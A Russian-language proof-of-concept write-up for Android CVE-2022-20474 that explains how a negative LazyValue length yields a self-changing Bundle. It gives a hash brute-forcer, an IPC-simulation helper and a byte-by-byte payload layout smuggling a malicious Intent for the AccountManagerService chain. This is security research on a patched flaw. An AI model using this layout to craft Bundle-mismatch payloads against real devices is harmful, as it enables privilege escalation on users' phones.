
PoC для CVE-2022-20474
Пожалуйста, прочтите это предупреждение: перед чтением этой статьи следует иметь базовое представление об уязвимостях, связанных с несоответствием Bundle. Если вы еще не читали следующие справочные материалы, рекомендуется сначала прочитать их:
Недавно я внимательно изучал статью LeakValue от michalbednarski. В разговоре с Canyie он упомянул, что в этой статье также описывается случай Self-changing Bundle в сценарии LazyValue. Я пошел искать оригинал, и действительно, там был такой абзац, который я упустил, читая статью Михала. В оригинале говорится:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Михаил, вероятно, имел в виду CVE-2022-20474 (бюллетень, патч). Я взглянул на патч, но функция в ссылке на патч была неполной. Я дополнил её и внимательно изучил:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
objectLength в коде — это length в LazyValue, но на самом деле это только длина изменяемого объекта, содержащегося в LazyValue. Всю длину LazyValue контролирует поле mLength, то есть valueLength в коде, которое в конструкторе LazyValue передаётся в mLength.
Давайте сравним с макетом LazyValue:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
Исходя из вышесказанного, можно сделать следующие факты:
mLength представляет всю длину LazyValue: mLength = objectLength + 8 байт.objectLength должно быть ≥ 0.LazyValue сохраняет только mLength, но не objectLength, потому что копирование памяти для LazyValue выполняется на основе всего объекта.LazyValue будет прочитан снова.Затем, после долгих размышлений, мы пришли к выводу, что эти факты нифига не полезны! Потому что на их основе можно изменить значение только при чтении, а мы знаем, что основная идея Self-changed Bundle — изменить его после завершения чтения, чтобы обойти проверку безопасности.
Когда мы уже собирались сдаться, мы внезапно заметили некоторые детали в описании патча:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLengthТам упоминается, что при objectLength = -8 возникают некоторые проблемы, что дало нам дополнительные подсказки. Может ли LazyValue в этом случае нормально применяться через apply?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
Видно, что настоящий readValue начинает чтение с mPosition, затем последовательно читает LazyType и objectLength, после чего переходит к нормальному процессу чтения Value, например, для Parcelable читается ClassName и выполняется createFromParcel. После чтения это ничем не отличается от обычного Key-Value и не влияет на последующую сериализацию. Ещё раз вспомним: основная идея Self-changed Bundle — изменить после завершения чтения. Здесь же просто обычное чтение за пределами границ. Похоже, этот путь не работает.
Что если LazyValue не применяется apply в этом процессе? Другими словами, если он продолжает участвовать в IPC как LazyValue, то будет вызвана его функция writeToParcel:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
Весь LazyValue будет скопирован как есть, если только mLength == 0. Стоп! Выше упоминалось, что mLength = objectLength + 8 байт, а из информации о патче следует, что для возникновения уязвимости objectLength должен быть -8, тогда mLength = 0. То есть в этом сценарии весь LazyValue просто исчезает, копируется только String Key, что приводит к пропуску записи. Условие Self-changed Bundle напрямую выполняется.
Теперь, зная причину, мы можем приступить к воспроизведению, но перед этим нам нужно ещё немного деталей.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
Как известно, структура памяти Bundle примерно такова:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC — это магическое число Bundle в структуре памяти, может быть BUNDLE_MAGIC или BUNDLE_MAGIC_NATIVE. Самое важное различие: BUNDLE_MAGIC приводит к пересортировке Key-Value после десериализации, как видно из следующего кода:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
Флаг MAGIC влияет на значение sorted в readArrayMap, определяя, будет ли выполняться сортировка map. В комментарии также говорится, что сортировка осуществляется по хэш-значению key String.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
Давайте снова представим процесс анализа ArrayMap. На первом проходе сначала анализируется Key1, затем предпринимается попытка проанализировать LazyValue1. Но так как objectLength у LazyValue1 равен -8, указатель Parcel возвращается к началу LazyValue1, то есть к точке a — это было упомянуто выше как факт 4. На этом первая пара Key-Map завершена. Вторая пара Key-Value начинает анализироваться с точки a. Сначала считывается длина String. Предположим, что LazyValue1 содержит Parcelable; тогда эта длина должна быть 4. Следовательно, настоящий Key2 начинается с точки a, то есть Key2 = + . не содержит никаких данных, поэтому его длина составляет 8 байт ( + ). Общая длина всей строки будет 4 (маркер длины) + 4*2 + 4 ("\0") = 16 байт. Убирая 8 байт из , нам нужно добавить ещё 8 байт при конструировании, то есть 2 . Затем считывается . Таким образом, при первом анализе нам нужно использовать , чтобы компенсировать смещение указателя, вызванное отрицательным у . Значение этого нас не интересует, так как оно используется только при первом анализе — это просто инструмент. Раз это одноразовый инструмент, после первого анализа мы хотим, чтобы он был подальше от наших критических данных, а в уже будут наши вредоносные данные. Лучше, чтобы хэш был больше, чем у , тогда он не будет влиять на последующий анализ. Используя , мы можем настроить хэш для достижения этой цели — подробнее в . Затем мы переходим к анализу . По стандартной схеме , в помещаем с вредоносным . Но у есть дополнительные ограничения. После завершения первого раунда десериализации структура должна быть такой: инструмент оказывается в конце:
Key1-Value1 | Key3-Value3 | Key2-Value2
Как упоминалось в разделе Аномальный objectLength, длина LazyValue1 равна 0, поэтому при writeToParcel он вообще не копируется! Фактическая структура такая:
Key1 | Key3-Value3 | Key2-Value2
После чтения Key1 он всё ещё ожидает чтения Value1. Здесь снова происходит чтение за пределами границ, и Key3 должен взять на себя роль чтения LazyValue1. Первый int в Key3 должен одновременно быть длиной String и типом LazyValue. Это означает, что длина Key3 не может быть слишком короткой, иначе хэш будет трудно вычислить. Просмотрев список типов LazyValue, я выбрал:
private static final int VAL_LIST = 11; // length-prefixed
Можно выбрать 12, 16, 17 и т.д., главное, чтобы не слишком коротко.
Второй int в Key3 должен быть Length для LazyValue. С его помощью мы контролируем длину LazyValue1, чтобы следующий указатель указывал на начало вредоносного Intent. Если содержимое LazyValue1 невалидно? Это не наша проблема — пока вы не вызовете getXXX для apply, он останется LazyValue.
Напишем простой брутфорсер:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
Конечно, можно подобрать и Key2, поместив его вперёд, но длина Key2 фиксирована — 4, что довольно мало, пространства для манёвра меньше. А для Key3 мы изначально зарезервировали некоторую длину, чтобы упростить брутфорс. Пусть наш Key1 — строка "Cxxsheng". Мы хотим, чтобы хэш Key3 был больше хэша "Cxxsheng", но лишь немного — я установил 1000000, чтобы они с высокой вероятностью всегда были вместе, и третьему Key2 не удалось вклиниться. Как упоминалось выше, первые два int строки фиксированы. Сначала мы записываем VAL_LIST (также длина String), вычисляем, что до вредоносного Intent осталось 32 байта. Остальные нули можно использовать для брутфорса. Выбираем любые два значения для подбора.
С помощью number1 и number2 можно управлять положением третьего значения в ArrayMap. Поскольку ArrayMap сортируется по hashcode ключа, можно сделать так, чтобы третье значение после десериализации стало вторым, сразу после первого "Cxxsheng":
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[какой-то мусор]=[вредоносный ByteArray], [какой-то мусор]=0}]
Видно, что порядок чтения отличается от порядка записи. После записи, как мы анализировали выше, весь LazyValue был потерян, а третья пара Key-Value пересортирована на второе место, включая type и objectLength. Таким образом, структура страницы будет следующей:
Читатели могут самостоятельно использовать классическую цепочку эксплуатации AccountManagerService. Сможет ли она быть использована, здесь не обсуждается, так как это зависит от того, присутствует ли функция checkKeyIntentParceledCorrectly в патче ноября 2022 года. Дополнительно поясню: эта функция использует эмуляцию вызова IPC, чтобы заблокировать цепочку эксплуатации AccountManagerService. Таким образом, даже если на Android 12 или 13 существует Mismatch, это не обязательно может быть использовано успешно; требуется найти способ обхода этой функции.
Мы можем написать аналог этой функции, эмулируя процесс вызова IPC:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); // при отладке здесь можно увидеть данные Parcel
// marshall не меняет указатель Parcel
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
Затем посмотрите на вывод журнала при эмуляции процесса IPC. Подробнее можно посмотреть в моём коде на GitHub:

LazyValue1FakeKey2LazyValue1LazyTypeobjectLengthLazyValue1writeIntValue2Key2-Value2objectLengthLazyValue1Key2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| Значение | Описание |
|---|
| "Cxxsheng" | Первый ключ |
| 4 | Будет прочитано дважды: первый раз как VAL_PARCELABLE; второй раз как длина строки второго ключа |
| -8 | Будет прочитано дважды: первый раз как objectLength для LazyValue, что приводит к смещению указателя назад и двойному чтению; второй раз как значение строки второго ключа |
| 0 | Значение строки второго Key |
| 0 | Значение строки второго Key |
| 1 | VAL_INTEGER |
| 0 | Второе значение Value |
| 11 | Длина строки третьего Key |
| 32 | Значение строки третьего Key |
| 0 | Значение строки третьего Key |
| 0 | Значение строки третьего Key |
| number1 | Значение строки третьего Key, эти два значения используются для регулировки сортировки |
| number2 | Значение строки третьего Key, эти два значения используются для регулировки сортировки |
| 0 | Значение строки третьего Key |
| 13 | VAL_BYTEARRAY |
| Длина LazyValue | Вычисляется |
| Длина ByteArray | Вычисляется |
| ByteArray | Содержит вредоносный Key-Value, т.е. Intent.EXTRA_INTENT и его Intent |
| Значение | Описание |
|---|
| "Cxxsheng" | Первый ключ |
| 11 | VAL_LIST |
| 32 | Длина первого Value, всё последующее уже неважно (так как apply для этого LazyValue не вызывается), это указывает на начало вредоносного Intent в ByteArray |
| 0 | Значение в LazyValue |
| 0 | Значение в LazyValue |
| number1 | Значение в LazyValue |
| number2 | Значение в LazyValue |
| 0 | Значение в LazyValue |
| 13 | Значение в LazyValue |
| Длина LazyValue | Значение в LazyValue |
| Длина ByteArray | Значение в LazyValue |
Начало ByteArray / Intent.EXTRA_INTENT | Второй ключ |
| Intent | Второе значение Value |
| Третья пара Key-Value | Оказывается в конце |